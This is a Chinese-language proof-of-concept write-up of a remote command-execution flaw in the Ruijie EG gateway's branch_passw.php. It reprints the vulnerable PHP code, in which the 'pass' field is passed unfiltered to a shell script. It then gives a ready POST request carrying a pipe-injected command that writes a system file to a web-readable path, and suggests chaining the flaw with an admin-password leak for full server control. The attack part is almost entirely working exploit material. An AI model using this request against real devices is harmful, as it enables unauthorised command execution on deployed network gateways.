# 锐捷 EG易网关 branch_passw.php 远程命令执行
# 漏洞描述
锐捷EG易网关 branch_passw.php存在命令执行漏洞，配合 锐捷EG易网关 管理员账号密码泄露漏洞 达到RCE控制服务器
# 漏洞影响
# 网络测绘
# 漏洞复现
首先登录到后台中(可以组合 锐捷EG易网关 管理员账号密码泄露漏洞)
漏洞文件 branch_passw.php
<?php
/**
* 分支密码的统一管理
*/
define('IN', true); //定位该文件是入口文件
define('DS', DIRECTORY_SEPARATOR); //定义系统目录分隔符
define('AROOT', dirname(__FILE__) . DS); //定义入口所在的目录
include_once(dirname(dirname(__FILE__)) . DS . 'mvc' . DS . 'controller' . DS . 'core.controller.php');
class defaultController extends coreController {
private $filename;
private $cli = "evpn-server config all-clients file \"/data/evpn/cfg_pwd.text\"";
function __construct() {
parent::__construct();
$this->filename = DS . "data" . DS . "evpn" . DS . "cfg_pwd.text";
}
/**
* 设置分支设备的密码
* @param string post(pass) 分支密码
*/
public function setAction() {
$pass = p("pass");
if ($pass == FALSE) {
json_echo(false);
return;
}
$command = "/usr/local/evpn/server/cfg_pass.sh config " . $pass;
evpnShell($command);
}
/**
* 关闭集中控制功能
*/
function closeAction(){
evpnShell("/usr/local/evpn/server/cfg_pass.sh disable");
}
/**
* 获取分支密码
*/
function getAction() {
$command = "/usr/local/evpn/server/echo_pass.sh";
$content = [];
exec(EscapeShellCmd($command), $content);
$data = array("status" => true,
"data" => isset($content[0]) && $content[0] === "" ? "" : $content);
json_echo($data);
}
/**
* 获取分支密码设置列表
*/
function listAction(){
$province = p("province");
$city = p("city");
$district = p("district");
$shell = "/usr/local/evpn/server/sh_clients_pass.sh";
if($province !== FALSE && $province != ""){
$shell .= " province ".iconv("UTF-8", "GB2312//IGNORE", $province);
}
if($city !== FALSE && $city != ""){
$shell .= " city ".iconv("UTF-8", "GB2312//IGNORE", $city);
}
if($district !== FALSE && $district != ""){
$shell .= " district ".iconv("UTF-8", "GB2312//IGNORE", $district);
}
header("Content-type: text/html;charset=gbk");
header("Cache-Control: no-cache, must-revalidate");
header("Pragma: no-cache");
echo `$shell`;
}
}
include_once dirname(dirname(__FILE__)) . '/init.php'; //mvc架构初始化
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其中漏洞部分
/**
* 设置分支设备的密码
* @param string post(pass) 分支密码
*/
public function setAction() {
$pass = p("pass");
if ($pass == FALSE) {
json_echo(false);
return;
}
$command = "/usr/local/evpn/server/cfg_pass.sh config " . $pass;
evpnShell($command);
}
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&pass变量可控并且无过滤执行命令使用 | 即可绕过
发送请求包
POST /itbox_pi/branch_passw.php?a=set HTTP/1.1
Host:
User-Agent: Go-http-client/1.1
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Cookie: RUIJIEID=52222egp72ilkpf2de7qbrigk3;user=admin;
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
pass=|cat /etc/psswd>../test_test.txt
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再访问
http://xxx.xxx.xxx.xxx/test_test.txt
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